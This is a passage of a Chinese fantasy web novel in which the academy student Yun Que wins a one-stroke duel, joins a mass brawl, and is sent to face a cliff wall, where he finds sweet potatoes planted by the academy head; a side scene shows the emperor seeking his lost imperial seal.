听到百花殿众人的加油打气,犁谷直接嗤笑起来,喝道: “他揍我?你们百花殿的人真喜欢白日做梦!一个刚入七品的残废武夫,他拿什么胜我!” 四周演武殿的学子们立刻纷纷大喝。 “百花殿就该回去绣花,演武殿是你们能来的地方吗!” “来了也行,跳几支舞再走,让我们乐呵乐呵哈哈哈!” “我要听曲儿!别不好意思,你们百花殿不就是唱歌跳舞的地方嘛。” “听说百花殿的人厨艺都不错,来给咱们做顿饭尝尝,嘎嘎!” “哎呦!我刚丢了二两银子,你们百花殿里不是有断案的么,快来帮我找找,找到了分你们一两银子哈哈!” 演武殿一群五大三粗的壮汉,嗓门一个比一个大,说得一个比一个难听。 全是武夫,这帮人从来不知道什么叫留情面,专挑百花殿的痛处骂,听得一众百花殿学子咬牙切齿。 屠苏脾气火爆,瓮声瓮气的回骂道: “你媳妇丢了!我刚找到,就在我床上呢!怎么样,这案子断得快不快!” “你他娘的找打!死蛮子,信不信我拔了你的牙!”演武殿一方一名壮汉骂道。 “怕你呀!不服气比量比量!”屠苏不甘示弱的回敬道。 正主儿还没打呢,看热闹的都快打了起来。 犁谷摆手示意同伴闭嘴,盯着云缺道: “姓云的,准备好了咱们就开始,别在这拖时间,拖到明年你也必输无疑!” 云缺单手持刀,靠在立起的担架上说道:“我的时间也挺宝贵,咱们一招分胜负。” “好!一招就一招!” 犁谷冷喝着取出武器。 他用的是棍。 儿臂粗细,齐眉高,一根寒铁大棍! 棍身之上,同样雕刻着细密的符文,是一件等阶不俗的法器。 轰隆一声闷响。 犁谷将大棍戳在地面,立刻出现一个半尺深的坑,同时炸起一圈气浪。 从力道判断,犁谷的寒铁棍,至少八百斤往上的份量! 棍是刀剑的克星。 一寸长,一寸强。 棍这种武器,天然比刀剑要长,攻击范围极大,远非刀剑可比。 尤其棍的重量大多沉重,属于重兵器,硬拼的话,刀剑等轻兵器处于天然的劣势。 能用棍者,必定气力过人,这是修行界的常识。 犁谷周身气机转动,冷笑道: “小子,今天让你见识见识,什么是七品武夫的战力!龙门棍法!” 犁谷猛然抓住大棍中心,刹那间将寒铁棍舞动如飞,风声大起! 围观众人立刻朝后面退去。 七品武夫相斗,能离多远离多远,否则容易被误伤。 “犁师兄居然动用棍法,那小子今天怕要残废!” “杀鸡用牛刀啊,我赌的一百两今天肯定翻倍!” 见犁谷施展棍法,演武殿一方群情激昂,纷纷叫好。 龙门棍法是演武殿的武道法门,力大势沉,是专门以力取胜的招式。 一些修炼棍法的武者,此刻认为云缺必败无疑。 刀再好,除非是神兵,能一刀切断寒铁棍,否则棍法激发的威能加上犁谷七品武者的肉身之力,足以将长刀崩飞,人都能一棍给拍扁。 犁谷动用棍法,云缺也没闲着。 云缺以右手持刀,左手猛地拍了下身后的担架一侧。 随后担架滴溜溜旋转起来,云缺也跟着一起转动,好似个陀螺一般。 围观众人看见云缺的模样,纷纷大笑不已。 尤其演武殿的一群武夫,笑得阴阳怪气。 “百花殿果然人才济济,这舞跳得不错哈哈!” “我猜叫转圈舞,看人家转得多熟练,私底下肯定没少下功夫。” “多转一会儿,这个有趣哈哈哈!” 也有不少人没笑,比如吴鹰,他仔细看着云缺的举动,对云缺信心十足。 梅钱瞄了眼那群笑得肆无忌惮的同窗,嘴角泛起一抹嘲讽,心说笑吧,等会儿你们就要哭啦。 云缺的举动看似荒唐滑稽,可梅钱深知云缺的目的。 旋转,是在聚力! 云缺脚下不能动,相当于没了跟,手上的力道再大也不过七品之力,没有脚下的力量加持,很难发挥出真正的力量。 所以云缺才选择旋转自身,以转动的力量,带动长刀,达到正常的发力程度。 这是云缺的聪明之处。 担架越转越快,将地面搅出个坑来,云缺手里的长刀也始终跟着自身在旋转,刀体带动的风声越来越重。 犁谷不算太傻,他从刀风中察觉到云缺的目的。 “喝!一棍开山!” 犁谷大吼一声,脚下往前一踏,手里的寒铁棍以横扫千军之势,横着攻向云缺。 嗡!!! 这一棍之威,扫出了一股刺耳的破空声! 近千斤的寒铁棍,加上七品武夫全力出手,其上的力道已然超过了万斤。 如此力道,萍山君那等七阶妖兽也不敢硬抗。 龙门棍法大开大合,讲究的是一力降十会,其中一棍开山为第一式,也是最为猛烈的一式。 看到这一棍的力道,百花殿众多学子纷纷倒抽冷气,为云缺捏了把汗。 云缺行动受限,无法躲避,只能硬接。 接得住还好,接不住的话,人就废了! 云缺别看本体在旋转,周身气机始终锁定着犁谷,对方的一举一动他都了若指掌。 这种气机的运用,在八品的时候是绝对达不到的。 当寒铁棍扫来的那一刻,云缺突然抬起左手以双指竖在眉心,右手的长刀随之流转起一股冷冽之气。 起手式! 旋转中的云缺,已经聚集了足够的力量。 接下来,他要动用的,是来自前朝斩妖司的真正绝学,断刀式! 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第98章 用脸接棍 断刀式,斩妖之技,共十式,传至前朝司天监监正,是斩妖司中真正的绝学。 学会断刀式的猎妖人,屈指可数,连柳十一那等高手都无法施展。 云缺之所以会,是因为自己的母亲。 年幼时,母亲将断刀式的所有心得与精髓,一并传授给云缺。 这么多年来,云缺经常揣摩修炼,也仅仅修成了前三式而已。 断刀式是一种堪称恐怖的刀法,配合妖刀施展,威力惊人,是猎杀强大妖物的不二法门。 云缺很少动用。 因为没什么必要。 他的妖刀本身已经足够强大,斩杀同阶妖兽跟切白菜差不多,随便砍就行,还用什么刀法。 越阶斩杀七阶妖族的话,单凭断刀式可不够,需要动用妖力,一样不需要用刀法。 以至于这些年的斩妖生涯,云缺动用断刀式的次数寥寥无几。 基本没有靶子可用。 这次的比斗,则是一次动用刀法的机会。 因为有了个活靶子。 犁谷势大力沉的寒铁棍扫出之后,发生了玄奥的变化。 并非普通的横扫而已,寒铁棍本体竟在震颤中出现无数虚影! 那是棍法的威能展现! 每一道虚影都蕴含着惊人巨力,将寒铁棍的攻击面瞬间放大百倍。 扫向云缺的虽然只是一棍,却是一面棍墙! 避无可避,防不胜防。 棍影临身的刹那,云缺出刀了。 出刀的姿态很古怪,反手倒提,自下而上,斜着斩出。 “一断,山魁路!” 嗡!!! 刀刃划开空气,产生一种刺耳鸣音。 断刀式第一式,一断山魁路! 这一刀看似缓慢,实则快若闪电,一刀斩出的同时,云缺的身影在旁人看来出现了三次快速停顿。 并不连贯,好似在出刀同时犹豫了三次。 然而在真正行家的眼里,云缺的快速停顿,其实是出刀的虚影。 看似斩出一刀,实则是三刀! 每一刀都有超过万斤的巨力,三刀叠加,数万斤的力量! 三刀斩出,形成三道长刀虚影,互相连接,汹涌的刀气组成一片刀幕,犹如奔腾的大河,从天地间肆虐而来。 传闻世间有山魁,喜食人脑,藏于深山,速度如风,来去无踪,想要猎杀难如登天。 这一刀,是专为斩杀山魁所创。 一刀出,斩断山魁所有退路,刀出,则妖亡! 轰!!! 刀刃与寒铁棍结结实实撞击在一处。 火星儿迸溅,炸裂的狂风四散开来,将地面的沙土卷起一大片。 围观的人群急忙以手遮脸,抵挡沙尘。 同时人们纷纷震惊。 这种单纯比拼力量的交战,没有任何花俏的招式,只有拳拳到肉的凶悍! 犁谷本来信心十足,一棍将云缺拍残。 结果轰鸣炸起的同时,犁谷的脸色豁然大变。 他听到了手背上传来的咔咔响动。 那是手骨碎裂的声音! 尤其让犁谷惊骇不已的是,寒铁棍上传来的反震之力,从他的手指开始震裂骨骼,并且快速蔓延到手背、手腕、直至手臂! 犁谷大惊之下不顾一切的撒手。 他不敢再握着寒铁棍,否则两只手臂的骨头都得被震裂! 这是多大的力量! 犁谷被震撼得无以复加,松手的同时连连倒退,一下子跌坐在地。 他的双手和手腕的骨头尽数被震裂。 这还是逃得及时,否则两只胳膊肯定保不住。 犁谷完全呆住了。 两只手不停颤抖,一张大脸全是冷汗,早没了当初趾高气扬的模样,像极了一个被大人一脚踹翻在地,呆愣茫然的孩童。 反观云缺。 身后的担架已经被巨力震成粉碎,但云缺的本体则在长刀的支撑下勉强站在原地。 一步没退! 一招分胜负,此刻胜负已分! 尽管犁谷的力道不小,但云缺已经有妖魂融骨,肉身的坚固程度堪比六阶妖兽,以犁谷七品武夫的力道根本伤不到。 除了手心有点麻之外,云缺一点伤势没有。 其实云缺已经留手了。 刚才那三刀,全对着寒铁棍而斩,如果其中一刀斩向犁谷,此刻犁谷就不是坐在地上,而是躺在地上,脑袋早已搬家。 断刀式是杀伐之法,若云缺不留手,犁谷自己怎么死的都不知道。 毕竟是学宫比斗,不至于杀人,云缺才将三刀尽数斩在寒铁棍上。 此刻全场鸦雀无声。 所有人都瞪大了眼睛,张大了嘴巴,目光呆滞。 一个被担架抬来的百花殿学子,居然一刀就把演武殿的老牌学子犁谷给战败了! 而且看人家云缺的模样,轻松得根本不像在恶战,一滴汗都没有! 梅钱冷笑了一声,不以为意,他早知道是这个结果,准备领取他豪赌而来的三千两了。 吴鹰目露震惊,他猜到云缺会胜,但没猜到云缺胜得如此轻松。 穹舞瞪着杏眼,俏脸上带着些许失望,她是来看云缺被人揍解气的,结果反而看到云缺一刀战败强敌的英姿,这让穹舞又是恼火,又是羡慕。 屠苏和满申别提多痛快,两人大呼小叫为云缺助威,一时间忘了他们借来的五两银子,这时候已经输出去了。 演武殿一方的学子们则黯然神伤。 脸丢大了! 刚才大呼小叫看不起云缺的那些人,现在很想找个地缝钻进去。 都以为百花殿来个傻兮兮的残废,肯定被犁谷虐一顿,结果来了个扮猪吃虎的,不仅虐了犁谷,连着演武殿的名声都给砸了。 人家一个躺在担架上的,居然都能战败演武殿的同阶武者,传出去就是演武殿的一个笑话,不知要被其他学殿嘲笑多久。 满场的寂静中,只有寒铁棍飞行传来的霍霍风声。 犁谷撒手后,他的寒铁棍直接被巨力崩飞出去,那破风声听着都瘆人,不知带着多大的力量。 这时有人朝着寒铁棍看去。 随后惊呼四起! 崩飞的寒铁棍,正飞向演武殿正门。 恰好此刻,演武殿先生许闲云闭着眼睛抻着懒腰从门里走出来。 这位先生看样子还没睡醒,一脚门里一脚门外。 嘭!!! 下一刻,人们听到了一种重器撞击的响动。 寒铁棍不偏不倚,正好砸在许闲云脑门上。 这下广场上数以千计的学子们,再次瞠目结舌,一时间连呼吸都忘了。 寒铁棍飞行的风声都足够吓人,至少万斤的力道在上面,足以砸倒一片墙,落在人脑袋上,非得砸个万朵桃花开不可。 有胆子小的,还以为这次要出人命。 云缺也看得一愣。 刚才只顾着出刀,没注意寒铁棍被犁谷扔出去的后果。 其实怪不得云缺,这里是演武殿,全是武夫,挡不住他的刀,还躲不过飞来的寒铁棍么。 云缺根本没多想。 谁知道许闲云睡得迷迷糊糊走出来,直接被一棍子砸脸上。 这位先生用脸接棍! 在学子们错愕惊恐之际,许闲云连眼皮都没睁,抬手揉了揉额头被棍子砸到的地方,梦游一样走远。 人家毫发无损! 脑袋上连个包都没有! 云缺看得暗暗吃惊。 棍子上的力道,至少上万斤,许闲云可没挡,硬生生砸在脸上,居然根本不在乎! 至少五品金身境! 甚至更高! 云缺在心里猜测着许闲云的真正修为。 学宫先生的修为,罕有人知,是人家先生的隐私。 天祈学宫有个规矩,但凡有真才实学者,并且通过学宫之长大祭酒的认可,均可在学宫任教。 据说即便是九品修士,只要有过人之处,令本派系的修行者折服,一样能成为学宫先生。 当然也仅仅是个传闻而已,不可能当真有九品低阶修士在学宫任教。 学宫里的诸多先生,绝对没有弱者。 这时云缺想到了百花殿新来的北楼先生。 没有大祭酒认可,剑平之不可能成为先生,那个神棍的确有常人难及的本领。 莫非神道是真的? 剑平之那家伙当真能请神上身? 疑惑之际,云缺听到屠苏的大吼。 “百花殿赢了!哈哈云缺好样的!咱们百花殿没有孬种!” 轰一声,百花殿一方的人群沸腾起来。 “演武殿不过如此嘛!还打不过我们百花殿!” “以后我也常来演武殿转转!” “咱们百花殿终于扬眉吐气一次!” 百花殿学子们欢呼雀跃,曾经最让人看不起的百花殿,今天终于出了一口恶气。 云缺试着动了动双脚。 全力出手之后,左腿的筋骨疏通开来,已经恢复了知觉,能缓慢行走。 “一千两,外加你的书牌,拿来。”云缺朝着犁谷伸手道。 犁谷瞪着眼睛不吭声,一副愤愤不服的架势。 屠苏是个莽撞的家伙,见对方想赖账,几步上去从犁谷身上抢来一千两的银票,连着书牌一起递给云缺。 犁谷挣扎着站了起来,怒道: “你仗着有把好刀,算什么能耐!有种等我伤好了再来比过!” “等你到了六品再说,七品,你打不过我。”云缺笑了笑,将长刀还给吴鹰。 犁谷显然是个养尊处优的家伙,哪里听过这般羞辱,一张大脸憋得通红,骂道: “百花殿的胆小鬼!今天算你捡了个便宜!” 屠苏听得火气大起,反骂道:“输了还嘴硬,你他娘真不像个汉子!输不起啊!” “去你娘的臭蛮子!等老子出了学宫先去草原,屠了你一族!”犁谷破口大骂。 “屠我一族?我先揍死你!”屠苏火气大起,一记老拳结结实实轰在犁谷脸上。 屠苏终于想起来自己输了五两银子,就因为押错了犁谷,那可是他借的,这下好,下个月饭钱不但没着落,还得想办法还钱。 犁谷两手有伤,来不及防御,直接挨了一拳,鼻梁骨都歪了。 “你敢打我!我跟你拼了!” 犁谷一脚踹在屠苏肚子上,将这位大汗踢出个跟头。 一见屠苏吃亏,满申嗷呜一声扑了上去,他是大汗的伴当,生来就是为大汗死战的。 犁谷旁边的演武殿众人也反应过来,立刻冲过去三个。 结果满申比屠苏还猛,几拳下去放倒了三个演武殿学子,一下将犁谷扑倒在地,抡起老拳一顿胖揍。 演武殿一方顿时大怒,冲出来上百人怒喝着围攻满申和屠苏,连着云缺也被围在当中。 “哎呦我的鼻子!开山掌!” “敢踢我脸!奔雷脚!” “你丫的掏我下盘?虎鹤手!” “去你吗的王八拳!” 一时间喝骂声、拳脚声、惊呼声、哀嚎声,汇聚在一起。 演武殿外,发生了一场几十年难得一见的群殴混战。 这下彻底热闹起来。 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第99章 过河卒 学宫斗殴,并不罕见。 尤其演武殿,天天都有打架的。 不过身为学子,自然没有傻子,大家都知道一个不成文的规矩。 单挑比斗,可以用刀剑兵刃。 群殴的话,只能上拳脚。 这一场混战打得天昏地暗,热热闹闹,哀嚎四起,鼻血纷飞。 围观人群看得目瞪口呆。 即便最冷漠高雅的舞仙子穹舞,此刻也檀口微张,目光呆滞。 武夫群殴,可不是街头混混打架,一拳出去就有人飞起来,一脚下去能把对手踢出十几丈远。 绝对的拳拳到肉,能听到嘭嘭声大作。 围观人群的头顶时而有人哀嚎着飞了出去,摔出老远爬不起来。 穹舞专修舞技,她的舞姿不仅极美,还有着不凡的威能,并非纯粹的舞蹈,而是一种剑舞,足以击杀敌人。 穹舞的剑舞,堪称美轮美奂,将杀伐之技与舞姿完美融合在一起,赏心悦目。 反观这群武夫,粗野得好似猛兽一样,刚开始群殴还有些招式可言,打到最后完全凭借本能挥拳乱砸。 穹舞看到云缺打得兴起,一记老拳轰在旁边的屠苏脸上。 其他人也一样,演武殿一方互相误伤的更多。 吴鹰抱着肩膀乐呵呵的看着打斗,房石拿着小本子在计算着什么,旁边有人看了一眼,发现是在计算云缺总共放倒了多少人,从而推算出云缺的战力。 梅钱没闲着,始终在拉架。 不过拉的是偏架。 这家伙下手又黑又隐晦,专门往演武殿那群武夫的肋骨与下盘招呼,一拳下去对方肯定起不来。 梅钱一边拉偏架,一边在心里大骂云缺这个惹祸精。 他可是演武殿的学子,要被人发现对自家学殿的学子下手,以后可就难混了。 其实梅钱也想在旁边看热闹,但他做不到。 他和云缺从小就认识,经常互相谩骂互相坑骗,看起来不像朋友更像仇人,可唯独一点,两人有着绝对的默契。 那就是动手的时候,肯定一起上。 混战一直持续了一顿饭的时间,才在赶来的学正大吼下宣告结束。 掌管事务堂的学正宋道理亲自抵达,本就一张黑脸,此刻面沉似水。 在宋道理面前的地上,躺着一百多号,包括犁谷在内全是演武殿学子,其中不乏七品高手,大多数都是八品武夫。 还能站着的,只有三个。 云缺,屠苏外加满申。 别看能站着,屠苏和满申的脸肿成了猪头,鼻子嘴角全是血,也就仗着两人有七品修为,又是草原蛮人足够强悍,换成旁人这时候根本站不住。 云缺的一只眼睛也变得乌青,浑身上下全是脚印子,嘴角挂着血迹。 云缺的伤势是最轻的。 妖魂融骨的好处,在此刻显现无疑。 经过这番混战,云缺浑身筋骨已经尽数疏通,行动如常,彻底恢复。 发现宋道理过来后,梅钱早钻进人群,正没事儿人一样装作看热闹。 宋道理怒道: “学宫乃求学之地!不是街头斗殴的地方!你们演武殿天天斗殴,天天伤人!有没有一天能消停!” 演武殿一方有学子气不过,小声嘀咕道:“是他们百花殿先动的手。” 宋道理听到声音,怒视对方道: “他们先动手,你们就有理了?你们自己看看,一百多人被打翻,演武殿不是最能打的吗!今天怎么吃瘪了!” 说话的学子顿时没声儿了,觉得颜面扫地。 人家百花殿三个人,干翻了演武殿一百多号,这比刚才赌斗还丢人。 赌斗输掉,至少能借口说犁谷轻敌,被对方偷袭。 群殴输掉,谁也找不出借口来,单纯就是打不过人家。 训斥完演武殿一方,宋道理瞪着云缺三人道: “百花殿的学子来演武殿群殴,你们可真给学宫长脸面,天祈学宫改为斗殴学宫好了!罚你们三个去后山悟心崖面壁十日,面壁期间辟谷,不许吃喝!” 屠苏不服气,道:“凭什么只罚我们三个!” 宋道理恨不得上去踹这家伙两脚,指着满地哀声四起的演武殿学子道: “你看他们能面得了壁吗!十天后他们能从回春殿爬出来都算好的!现在!立刻!马上给我去面壁思过!” 宋道理实在被气得不轻。 作为事务堂总管,宋道理负责维持学宫秩序,其他学殿问题不大,唯独演武殿天天出事,每次来演武殿他都觉得脑仁儿疼。 一群武夫,皮糙肉厚,打骂一顿人家根本不在乎。 后来宋道理想出个办法,那就是罚面壁,而且必须辟谷,不许吃喝。 武夫最怕没吃的,这招惩罚被创立以来,演武殿的学子的确老实过很长一阵子。 结果今天出了这场意外。 上百人群殴,宋道理入职学宫以来,从来没遇到过。 他要是晚来一阵子,估计演武殿都能被这群武夫给拆喽。 一听面壁十天还没吃的,云缺屠苏满申三人立刻脸色一垮。 面壁不算事儿,可没吃的那真要命啊! 以七品武夫充盈的气血,十天半月不吃不喝毫无问题,关键是饿啊。 武夫最架不住的就是饥饿。 三人苦着脸,跟着宋道理离开演武殿。 见云缺几人被罚面壁,梅钱不动声色的又往人群里躲了躲,生怕自己也被牵连。 穹舞的目光明亮起来,小银牙咬得作响,云缺被罚,她可算出了口气。 天祈学宫范围极大,学宫后方是一座青山,不算高,是皇城里唯一存在的山峰。 这座山也属于学宫,没有上山的路。 哪怕是皇帝,乃至学宫先生与大祭酒,也不允许登到山顶。 因为这座山的山体上,有着圣人亲笔书写的字迹。 此山无名,山体一侧是断崖。 断崖有名,叫做悟心崖。 儒圣曾经在此地以指为笔,留下八个大字。 原本字迹写在崖底的石壁上,后来为了更加显眼,天祈学宫将圣人留下的字迹连着山体,挖出八块巨石。 又在断崖靠上的位置挖出八个山洞,将八块岩石安装进去,悬在崖顶。 如此一来,圣人字迹变得格外醒木,备显威严。 崖底被挖去字迹形成的八个山洞,则成了悟道修心之地,这才有了悟心崖的称呼。 断崖前方是一片空地,荒草丛生。 将三人带到这里后,宋道理沉声道: “十天之后,方可自由,提前溜走的话再加十天!哼!” 一甩大袖,宋道理返回了学宫。 剩下三个难兄难弟,大眼瞪小眼的一时无言。 云缺很是无奈。 刚到皇城被关进天牢,好不容易进了学宫,没几天又被关起来面壁。 秉着既来之则安之的习惯,云缺倒是无所谓,先瞻仰了一番圣人亲笔。 悬在崖顶的八个大字龙飞凤舞,看起来飘逸超然。 “沧海无尽,彼岸有花。” 云缺低声念着圣人字迹。 这句话并不玄奥,也不晦涩,简单明了。 可以理解为沧海即修行,彼岸便是终点,修行路是无穷无尽的,需要历经苦难,但终点,必有鲜花等待,给人一种苦尽甘来的美好感觉。 望着字迹看了一会儿,云缺现出惊容。 他感觉到内心渐渐清明,有一种豁然开朗的感觉,心神竟随着观看字迹而出现改变! 时隔千年之久,单纯以遗留的字迹,即可影响学子的心神,不愧是超越一品的儒圣! 云缺在感叹之余,发现旁边的屠苏和满申看得更加专注,两人瞪着眼睛,一眼不眨,雕像一样。 能从儒圣遗留的字迹中看出感悟,说明心智超然,云缺做得到,可旁人未必做得到。 莫非屠苏和满申也有着过人的心智? 云缺觉得有些惊讶,问道: “你们看出什么了?” 屠苏眨了眨眼睛,道:“好大的字呀!看起来写得真好!” 满申点头赞同道:“我第一次看到这么大的字!到底写的啥呢?” 云缺一捂脸。 自己实在想多了,这俩蛮子根本就不认字。 三人并排坐在崖底。 云缺拿出犁谷的书牌,翻看了一下。 有了书牌,就能去演武殿的藏书楼,这是云缺的真正目的。 哪怕被罚面壁十天也值了! 藏书楼里大量的前人修炼经验,是无比宝贵的遗产,对云缺用处极大。 修行这条路,遥远而艰难,靠着自己摸索,很难有所成就。 那些前人的经验,就成了指路明灯,能避免云缺走很多弯路。 七品炼神境,对云缺来说仅仅是修炼的开始,他要冲击六品宗师,五品金身,乃至最后的一品境界! 混吃等死,那是没办法。 如今到了学宫,有了变强的机会,云缺又不是傻子,岂能错过。 藏书楼里的功法,云缺更感兴趣。 前朝斩妖司也有功法,如七杀刀法与断刀式,可这两种功法是为了妖武者量身打造,完全的杀伐之法,一旦用出就是搏命的招式,有攻无守,有去无回。 云缺需要一些攻守兼备的法门,如此才能活得长久。 群殴之际,演武殿学子不少人都有很强的拳脚功夫,这一点是云缺的弱项。 七杀拳法是伤敌一千自损八百的招式,几乎是同归于尽的打法,而且威能一般,只适合九品八品武者,对七品武者来说,只能当做平常舒展禁锢的手段,恶战之际已经很难用得上了。 如果自己也会高深的拳法,云缺觉得刚才的混战,还能再干翻一百个。 想起修炼法门,云缺的眉峰渐渐锁紧。 斩妖司的功法,太过激进,全是搏命用的,就好像斩妖司的猎妖人,只是一个个棋盘上的卒子,过了河,只管往前冲杀,根本不需要顾及自己的死活。 对敌人斩尽杀绝。 对自己也一样不留任何退路。 与其说成是猎妖人,不如用死士一词更为准确。 猎妖的死士…… 云缺渐渐疑惑起来。 既然是死士,那我们存在的意义是什么? 最终只是与妖邪同归于尽? 猎妖人,原来不是猎人…… 而是一个不会回头,也无法回头的过河卒…… 云缺正沉思之际,被旁边的响动惊醒。 扭头一看, 屠苏和满申正拿着个奇怪的瓶子,倒出来一些油脂样的东西往脸上的伤处抹。 “草原上的伤药?”云缺好奇道。 “对!我们从小擦到大,你也来点,两天保准儿就好!”屠苏将瓶子递给云缺。 云缺闻了闻,有种奇怪的味道,很膻。 “什么材料做的。”云缺说着打算也弄点擦拭伤处。 “羊蛋!最好涂多点,好得快!”满申道。 云缺的手顿时停住,原封不动把瓶子还给屠苏。 虽然连妖兽蛙卵都敢生吞,但这玩意往脸上抹,云缺的内心还没强大到那种地步。 第100章 种地瓜的大祭酒 皇宫。 一身龙袍的皇帝缓步走在御花园内,神色沉重中透着犹豫。 直至走到花园深处一间古朴典雅的阁楼下,殷子受才停住脚步,抬头望向匾额上,他御笔亲题的字迹。 “缥缈阁……” 皇帝深吸一口气,目光变得坚定下来,走向阁楼大门。 木门随着皇帝的脚步自行开启。 缥缈阁,取自缥缈神奥之意,楼阁内香烟浮动,四周墙壁上排列着一层又一层的红烛。 楼阁正中心,矗立着一座高大的道尊雕像。 雕像前的蒲团上,盘坐着一道曼妙身影,一袭朴素的道袍无法掩盖那玲珑曲线,一张倾国倾城的脸孔精致无暇,宛若玉雕。 看到女子的那一刻,殷子受恍惚了一瞬。 尽管他是九五之尊的帝王,天下美人皆可入怀,可唯独眼前的女子,是他得不到的,只剩下无尽垂涎。 道袍女子,便是当今大晋国师,凌妙清。 “陛下来缥缈阁,所为何事。” 凌妙清睁开双眼,剪水之眸一尘不染,好似无波古潭。 空灵的声音仿佛来自九天,幽幽响起。 说话的时候,凌妙清始终盘坐于蒲团之上,并未起身。 皇帝没有丝毫懊恼,反而十分敬重的道: “这次来,是求国师帮朕寻一样东西。” “可以,不过陛下要考虑好,我答应帮陛下出手三次,十五年前已经出手一次,这次,是第二次。” 凌妙清一张精致的脸睱上无悲无喜,声音清冷。 殷子受暗暗咬了咬牙,重重的点头道: “朕已考虑良久,还望国师出手相助!” “陛下,想要找什么。”凌妙清平淡道。 殷子受沉默了一下,语气沉重的道: “玉玺!” 丢失的玉玺,是殷子受心头的一根刺。 他能登上皇位,与他自身的本领其实没多大关系,实属运气,所以殷子受极为在意名分这个东西,这些天寝食不安,心急如焚。 玉玺失窃这件事,殷子受不可能外传,更无法外传,否则他的皇位将招来更多的流言蜚语。 民间已经流传出他殷子受窃国的说法,如果让黎民百姓得知皇帝丢了玉玺,他殷子受的皇位坐得更不踏实。 凌妙清缓缓颔首,并未多问,神色丝毫不变。 只见这位女子国师伸出如玉般的左手,朝着东南西北四个方向分别虚抓了一下。 霎时间异象大起! 东侧,一股金砂从天而来。 南侧,一片绿叶凭空而现。 西侧,一条小溪蜿蜒而至。 北侧,一团烈焰升腾而起。 随后凌妙清单掌按在地面,口中轻吐出一个‘凝’字。 大片沙石瞬间由地底浮出! 金木水火土,五种力量在阁楼内互相融合凝聚,组成了一幅巨大的九宫八卦图! 八卦图自行旋转,散发着令人震撼的玄奥气息。 凌妙清位于八卦图的中心,她微阖双眼,双手快速掐动咒诀。 八卦图上先后亮起一道道星光般的光晕,越来越多,越来越密,组成了一副庞大的地图。 殷子受看得莫名震撼,下意识的屏住了呼吸。 当整个九宫八卦完全被星光填满后,那些光晕开始逐渐熄灭。 最后,只剩下凌妙清侧前方的一个光点,忽明忽暗。 凌妙清睁眼看去,远黛般的秀眉忽然动了一下,明眸中闪过一丝疑惑,但很快这份疑惑便消失不见。 八卦图停止了运转,消散开来。 阁楼内恢复宁静。 殷子受焦急道:“国师,可曾寻到玉玺下落?” “找到了。”凌妙清声音平静的道。 殷子受大喜,追问道:“不知玉玺流落到何处?朕立刻派人去寻回!” 凌妙清看了眼面带喜色的皇帝,缓缓道出四个字。 “天祈学宫。” 闻听此言,殷子受的表情就此僵住。 无论玉玺在何处,殷子受都有把握派遣得力手下找回来,然后再将知道此事的心腹灭口,那么玉玺曾经丢失的事,就没人会知道,也不会流传出去。 国师是方外之人,殷子受相信国师不会外传这个消息。 然而整个大晋,唯独一个地方,连殷子受的皇权也无法抵达。 那就是天祈学宫! 玉玺落在天祈学宫,殷子受只能望尘莫及,他不敢派人去找,更不敢将学宫铲平。 哪怕殷子受有心将学宫里的所有人灭口,他也做不到。 因为天祈学宫拥有着摧毁一座国度的能力! 皇帝乘兴而来,败兴而归,茶饭不思,郁闷不已。 云缺倒是很想吃饭,可惜没得吃。 在悟心崖下枯坐到傍晚,三个武夫全都饿得肚子直叫。 屠苏看着瓶子里的伤药,直咽口水,估计再饿半天,这位大汗连羊蛋熬制的伤药都能当饭吃。 云缺看了看四周。 从崖底到学宫,只有一个出口,还是个大铁门,早被宋道理关死,根本出不去。 崖底两侧,长着一些叶片很大的荒草,郁郁葱葱。 满申饿得狠了,跑过去弄了不少草叶子大嚼特嚼。 屠苏也吃了两口,又吐了出去。 “呸呸!好难吃啊!”屠苏骂道。 “我觉得还行,总比饿肚子强!”满申吃得十分卖力,他指向荒草尽头的石墙道:“拔草的时候看到那边有字!” “这个字我认得!一百两的百!”屠苏跑过去,很高兴的指出其中一个字。 除了‘百’字之外,屠苏和满申再没有认得的了,于是喊云缺过来瞧瞧。 云缺来到近前,看了看字迹,念道: “不似百芳春绚烂,只和藤叶共云霞,寒来愿向炉中烤,一捧丹心到汝家。” 这是一首小诗,下面还有落款。 “秦蒙拙笔。”云缺念道。 “秦蒙拙笔是谁呀,我们草原人吗?名字这么怪。”屠苏挠头道。 “拙笔是个谦称,形容自己的诗作难登大雅,人家谦虚而已。”云缺无奈的道。 “谦虚还写个屁的诗啊,什么炉中烤,他当自己是地瓜吗!”屠苏不以为然的道:“我看这个秦蒙应该是个烤地瓜的……” 说着说着,屠苏忽然捂住了自己的嘴巴。 他终于想起来秦蒙是谁了。 “大祭酒!”满申低呼道。 秦蒙,便是天祈学宫当代的学宫之长,大祭酒。 云缺看到角落里的小诗后,目光一动。 他自然看得懂诗词中描写的是什么,屠苏说对了,这首诗,就是写地瓜的。 此刻云缺也想起来梅钱曾经说过,学宫后边种着一大片地瓜。 再看眼前的杂草,云缺拍了拍自己脑袋。 刚才没注意,这种叶子云缺认得,正是地瓜叶呀! 一把下去,连根带叶的提起来,果然是一个熟透了的地瓜! “哈哈!有吃的啦!” 屠苏和满申大喜过望,急忙开始挖地瓜。 悟心崖下,生起火堆,三人烤着地瓜,有说有笑。 饿十天受不了,可是有那么大一片地瓜呢,填饱肚子不成问题。 云缺吃着烤得金黄的地瓜,回头看了眼刻着小诗的角落,心中感慨。 地瓜不会自己长出来,定然是大祭酒秦蒙亲手种的。 这位大祭酒绝非闲来无事种地瓜,而是送给在悟心崖闭关或者面壁的学子们果腹之用。 应该是个挺好的老头儿,云缺如此想着。 学子犯了错,的确该罚,而大祭酒像个疼爱子孙的长辈一样,偷偷在这里种下地瓜,只要挖到,就能吃饱。 如果不认得地瓜叶子的学子,又看不出小诗中的含义,那么只能活该饿肚子了。 吃饱后,云缺倒在地上,望着满天繁星道: “大汗,你们草原人为什么要劫掠边境百姓呢,难道没吃的了,草原上的牛羊不是挺多么。” 屠苏也四仰八叉的倒在地上,豪气道: “我们草原人是狼,生来就要吃肉,劫掠是天生的本能!部落之间常年征战,很少有太平的时候,我们天鹰部可没去你们晋国劫掠,都是那些大部落才会去征战,我们人手太少,又能自给自足,犯不着去打打杀杀。” “原来草原部落有很多,那你们冒险来学宫做什么,又不用征战,回家过日子多好。”云缺道。 “这叫雨来之前先做伞,有个词儿叫什么雨来着?”屠苏挠着大脑袋道。 “未雨绸缪。”云缺叹气道:“大汗,你应该去鸿儒殿先学认字儿。” 